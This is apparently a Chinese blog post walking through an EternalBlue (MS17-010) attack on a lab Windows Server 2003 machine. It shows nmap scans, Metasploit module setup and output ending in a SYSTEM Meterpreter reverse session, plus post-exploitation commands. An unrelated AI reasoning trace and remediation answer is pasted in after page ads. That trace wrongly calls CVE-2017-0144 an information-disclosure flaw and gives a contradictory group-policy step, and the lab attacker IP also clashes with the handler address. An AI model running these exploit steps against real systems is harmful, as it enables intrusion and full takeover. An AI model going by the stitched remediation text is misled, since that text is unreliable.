永恒之蓝ms17_010利用及攻击(CVE-2017-0146)

本文详细介绍了如何使用Metasploit框架进行永恒之蓝(MS17-010)漏洞的探测与利用,包括设置攻击参数、验证漏洞存在性并最终实现对目标系统的远程控制。
部署运行你感兴趣的模型镜像

简介

永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

实验环境

攻击机:kali linux       192.168.1.106
目标机:win2003          192.168.1.103

利用攻击

首先我们可以利用nmap来扫描一下可能存在的漏洞

msf5 > nmap --script=vuln 192.168.1.103
[*] exec: nmap --script=vuln 192.168.1.103

Starting Nmap 7.70 ( https://nmap.org ) at 2020-08-29 13:52 CST
Nmap scan report for 192.168.1.103
Host is up (0.00051s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
MAC Address: 00:0C:29:FE:8D:2D (VMware)

Host script results:
| smb-vuln-ms08-067: 
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|           
|     Disclosure date: 2008-10-23
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

Nmap done: 1 IP address (1 host up) scanned in 23.40 seconds

可以看到存在ms17_010,那么我们可以进一步的验证是否存在。
搜索:ms17-010

msf5 > search ms17-010

Matching Modules
================

   #  Name                                           Disclosure Date  Rank     Check  Description
   -  ----                                           ---------------  ----     -----  -----------
   1  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   2  auxiliary/scanner/smb/smb_ms17_010                              normal   Yes    MS17-010 SMB RCE Detection
   3  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   4  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
   5  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

选择漏洞辅助模块进行探测

msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > options 

Module options (auxiliary/scanner/smb/smb_ms17_010):

   Name         Current Setting                                                 Required  Description
   ----         ---------------                                                 --------  -----------
   CHECK_ARCH   true                                                            no        Check for architecture on vulnerable hosts
   CHECK_DOPU   true                                                            no        Check for DOUBLEPULSAR on vulnerable hosts
   CHECK_PIPE   false                                                           no        Check for named pipe on vulnerable hosts
   NAMED_PIPES  /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check
   RHOSTS                                                                       yes       The target address range or CIDR identifier
   RPORT        445                                                             yes       The SMB service port (TCP)
   SMBDomain    .                                                               no        The Windows domain to use for authentication
   SMBPass                                                                      no        The password for the specified username
   SMBUser                                                                      no        The username to authenticate as
   THREADS      1                                                               yes       The number of concurrent threads

yes的参数要全部填上,可以看到只有RHOSTS(扫描的地址)没有,设置扫描地址的方法如下:

msf5 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.103
RHOSTS => 192.168.1.103
msf5 auxiliary(scanner/smb/smb_ms17_010) > options 

Module options (auxiliary/scanner/smb/smb_ms17_010):

   Name         Current Setting                                                 Required  Description
   ----         ---------------                                                 --------  -----------
   CHECK_ARCH   true                                                            no        Check for architecture on vulnerable hosts
   CHECK_DOPU   true                                                            no        Check for DOUBLEPULSAR on vulnerable hosts
   CHECK_PIPE   false                                                           no        Check for named pipe on vulnerable hosts
   NAMED_PIPES  /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check
   RHOSTS       192.168.1.103                                                   yes       The target address range or CIDR identifier
   RPORT        445                                                             yes       The SMB service port (TCP)
   SMBDomain    .                                                               no        The Windows domain to use for authentication
   SMBPass                                                                      no        The password for the specified username
   SMBUser                                                                      no        The username to authenticate as
   THREADS      1                                                               yes       The number of concurrent threads

run/exploit:启动一下

msf5 auxiliary(scanner/smb/smb_ms17_010) > exploit 

[+] 192.168.1.103:445     - Host is likely VULNERABLE to MS17-010! - Windows Server 2003 3790 Service Pack 2 x86 (32-bit)
[*] 192.168.1.103:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

存在ms17_010漏洞,那么我们设置攻击脚本

msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_psexec
msf5 exploit(windows/smb/ms17_010_psexec) > options 

Module options (exploit/windows/smb/ms17_010_psexec):

   Name                  Current Setting                                                 Required  Description
   ----                  ---------------                                                 --------  -----------
   DBGTRACE              false                                                           yes       Show extra debug trace info
   LEAKATTEMPTS          99                                                              yes       How many times to try to leak transaction
   NAMEDPIPE                                                                             no        A named pipe that can be connected to (leave blank for auto)
   NAMED_PIPES           /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check
   RHOSTS                                                                                yes       The target address range or CIDR identifier
   RPORT                 445                                                             yes       The Target port
   SERVICE_DESCRIPTION                                                                   no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                                                                  no        The service display name
   SERVICE_NAME                                                                          no        The service name
   SHARE                 ADMIN$                                                          yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                                                               no        The Windows domain to use for authentication
   SMBPass                                                                               no        The password for the specified username
   SMBUser                                                                               no        The username to authenticate as


Exploit target:

   Id  Name
   --  ----
   0   Automatic

步骤同上,还是要设置一下要攻击的地址

msf5 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.1.103
RHOSTS => 192.168.1.103
msf5 exploit(windows/smb/ms17_010_psexec) > options 

Module options (exploit/windows/smb/ms17_010_psexec):

   Name                  Current Setting                                                 Required  Description
   ----                  ---------------                                                 --------  -----------
   DBGTRACE              false                                                           yes       Show extra debug trace info
   LEAKATTEMPTS          99                                                              yes       How many times to try to leak transaction
   NAMEDPIPE                                                                             no        A named pipe that can be connected to (leave blank for auto)
   NAMED_PIPES           /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check
   RHOSTS                192.168.1.103                                                   yes       The target address range or CIDR identifier
   RPORT                 445                                                             yes       The Target port
   SERVICE_DESCRIPTION                                                                   no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                                                                  no        The service display name
   SERVICE_NAME                                                                          no        The service name
   SHARE                 ADMIN$                                                          yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                                                               no        The Windows domain to use for authentication
   SMBPass                                                                               no        The password for the specified username
   SMBUser                                                                               no        The username to authenticate as


Exploit target:

   Id  Name
   --  ----
   0   Automatic

设置完毕就可以启动

msf5 exploit(windows/smb/ms17_010_psexec) > run

[*] Started reverse TCP handler on 192.168.1.100:4444 
[*] 192.168.1.103:445 - Target OS: Windows Server 2003 3790 Service Pack 2
[*] 192.168.1.103:445 - Filling barrel with fish... done
[*] 192.168.1.103:445 - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.1.103:445 - 	[*] Preparing dynamite...
[*] 192.168.1.103:445 - 		Trying stick 1 (x64)...Miss
[*] 192.168.1.103:445 - 		[*] Trying stick 2 (x86)...Boom!
[*] 192.168.1.103:445 - 	[+] Successfully Leaked Transaction!
[*] 192.168.1.103:445 - 	[+] Successfully caught Fish-in-a-barrel
[*] 192.168.1.103:445 - <---------------- | Leaving Danger Zone | ---------------->
[*] 192.168.1.103:445 - Reading from CONNECTION struct at: 0x90670b08
[*] 192.168.1.103:445 - Built a write-what-where primitive...
[+] 192.168.1.103:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.1.103:445 - Selecting native target
[*] 192.168.1.103:445 - Uploading payload... eqCoYHQN.exe
[*] 192.168.1.103:445 - Created \eqCoYHQN.exe...
[+] 192.168.1.103:445 - Service started successfully...
[*] 192.168.1.103:445 - Deleting \eqCoYHQN.exe...
[-] 192.168.1.103:445 - Delete of \eqCoYHQN.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)
[*] Sending stage (179779 bytes) to 192.168.1.103
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.103:1029) at 2020-08-29 14:16:13 +0800

可以看到已经建立了连接,接下来我们可以:

显示远程主机系统信息:sysinfo
查看用户身份:getuid
对远程主机当前屏幕进行截图:screenshot
获得shell控制台:shell
......

您可能感兴趣的与本文相关的镜像

Wan2.2-T2V-A5B

Wan2.2-T2V-A5B

文生视频
Wan2.2

Wan2.2是由通义万相开源高效文本到视频生成模型,是有​50亿参数的轻量级视频生成模型,专为快速内容创作优化。支持480P视频生成,具备优秀的时序连贯性和运动推理能力

<think> 我们正在处理用户关于CVE-2017-0144漏洞修复方法的请求。根据上下文,用户之前询问了CVE-2017-0143的修复,现在转向CVE-2017-0144。注意:引用[1]提到CVE-2017-0144即“永恒之蓝”,但这里有一个常见的混淆点:实际上,“永恒之蓝利用的是CVE-2017-0143等多个漏洞,而CVE-2017-0144是另一个相关的SMB漏洞。我们需要澄清并给出正确的修复方法。 根据公开的漏洞信息: - CVE-2017-0143: Windows SMB 远程代码执行漏洞永恒之蓝利用的核心漏洞之一) - CVE-2017-0144: Windows SMB 信息泄露漏洞(也是永恒之蓝利用漏洞之一) 但是,在微软的安全公告中,这些漏洞都是在MS17-010中修复的。也就是说,修复方法是相同的:安装MS17-010补丁并禁用SMBv1。 因此,我们可以这样回答: ### CVE-2017-0144漏洞修复方法 CVE-2017-0144是Microsoft Windows SMB服务中的一个信息泄露漏洞,属于“永恒之蓝漏洞系列的一部分。攻击者可利用漏洞获取敏感信息,进而结合其他漏洞(如CVE-2017-0143)实现远程代码执行[^1]。 #### 修复步骤(与CVE-2017-0143相同) 1. **应用Microsoft安全更新**: - **安装官方补丁**:所有受影响的Windows系统均需安装MS17-010安全更新。补丁下载地址:[Microsoft Security Update MS17-010](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010)- 具体补丁KB号与系统版本相关: - Windows 7/Server 2008 R2: KB4012212、KB4012215 - Windows 8.1/Server 2012 R2: KB4012213、KB4012216 - Windows 10/Server 2016: KB4012606 - **验证更新**: - 打开命令提示符(管理员),运行: ```batch wmic qfe list | findstr KB4012212 ``` 若返回补丁信息则已安装。 2. **禁用SMBv1协议**: - 由于CVE-2017-0144同样影响SMBv1协议,禁用该协议可彻底消除风险: - **PowerShell命令**: ```powershell # 禁用SMBv1服务端 Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force # 禁用SMBv1客户端 Set-SmbClientConfiguration -EnableSMB1Protocol $false -Force ``` - **组策略配置**: - 打开`gpedit.msc`,依次进入: - `计算机配置` > `管理模板` > `网络` > `Lanman工作站` > 启用“启用不安全来宾登录”(设置为“已禁用”)(注:实际上禁用SMBv1的组策略位置在“Lanman工作站”和“Lanman服务器”中,分别禁用客户端和服务端) - 对于域环境,可通过域控制器下发策略。 3. **网络层防护**: - **防火墙规则**:在边界防火墙或主机防火墙中阻止TCP 139/445端口的入站连接。 - Windows防火墙规则示例(管理员命令提示符): ```batch netsh advfirewall firewall add rule name="Block_SMB" dir=in protocol=TCP localport=139,445 action=block ``` #### 注意事项 - **影响范围**:该漏洞影响Windows Vista至Windows 10、Server 2008至Server 2016的所有版本[^1]。 - **补丁兼容性**:若系统无法直接更新(如Windows XP),需采用缓解措施或升级系统。 - **全面修复**:由于“永恒之蓝利用多个漏洞(包括CVE-2017-0143、CVE-2017-0144等),建议完整安装MS17-010全部更新。 §§相关问题§§ 1. CVE-2017-0144漏洞的具体利用原理是什么? 2. 如何检测系统是否已成功修复CVE-2017-0144? 3. 对于不支持官方补丁的旧版Windows(如Windows XP),如何防御此类漏洞? </think> ### CVE-2017-0144漏洞修复方法 CVE-2017-0144是"永恒之蓝"漏洞系列中的另一个关键漏洞,影响Windows SMBv1协议。与CVE-2017-0143(远程代码执行)不同,CVE-2017-0144主要导致**信息泄露风险**,攻击者可利用漏洞获取内核内存敏感数据,为后续攻击创造条件[^1]。以下是完整的修复方案: #### 修复步骤(与MS17-010系列漏洞通用) 1. **安装官方安全更新** Microsoft通过MS17-010安全公告一次性修复了包括CVE-2017-0144在内的多个SMB漏洞- **补丁下载**: - Windows 7/8.1/Server 2008 R2:[KB4012212](https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB4012212) - Windows 10/Server 2016:[KB4012606](https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB4012606) - **验证安装**: ```batch wmic qfe list | findstr "4012212 4012606" ``` 返回补丁信息即表示安装成功 2. **永久禁用SMBv1协议** (此操作同时修复CVE-2017-0143和CVE-2017-0144) - **PowerShell操作**: ```powershell # 禁用SMBv1服务端 Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force # 禁用SMBv1客户端 Set-SmbClientConfiguration -EnableSMB1Protocol $false -Force Restart-Service LanmanServer -Force ``` - **注册表操作**(适用于无PowerShell的系统): ```reg Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters] "SMB1"=dword:00000000 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mrxsmb10] "Start"=dword:00000004 ``` 3. **网络层防护** - **防火墙配置**: ```batch netsh advfirewall firewall add rule name="Block_SMB" dir=in protocol=TCP localport=445 action=block netsh advfirewall firewall add rule name="Block_NetBIOS" dir=in protocol=TCP localport=139 action=block ``` - **路由器配置**:在企业边界路由器禁用TCP 139/445端口入站流量 #### 特殊系统处理 | 系统类型 | 解决方案 | 注意事项 | |----------------|-----------------------------|----------------------------| | Windows XP | 安装自定义补丁[KB4012598](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010#windows-xp) | 需手动下载安装 | | 嵌入式系统 | 禁用SMB服务 + VLAN隔离 | 测试业务兼容性 | | 无法重启系统 | 临时关闭SMB服务:<br>`net stop lanmanserver` | 重启后失效,需永久解决方案 | #### 验证修复效果 1. 使用Nmap检测: ```bash nmap -p445 --script smb-vuln-ms17-010 <目标IP> ``` 输出`VULNERABLE`表示存在风险,`NOT VULNERABLE`表示修复成功 2. Microsoft检测工具:[Safety Scanner](https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/safety-scanner-download) > **关键提示**:CVE-2017-0143和CVE-2017-0144同属MS17-010漏洞系列,修复方法完全通用。微软官方强调禁用SMBv1是最彻底的解决方案,因为该协议已存在多个未公开漏洞[^1]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值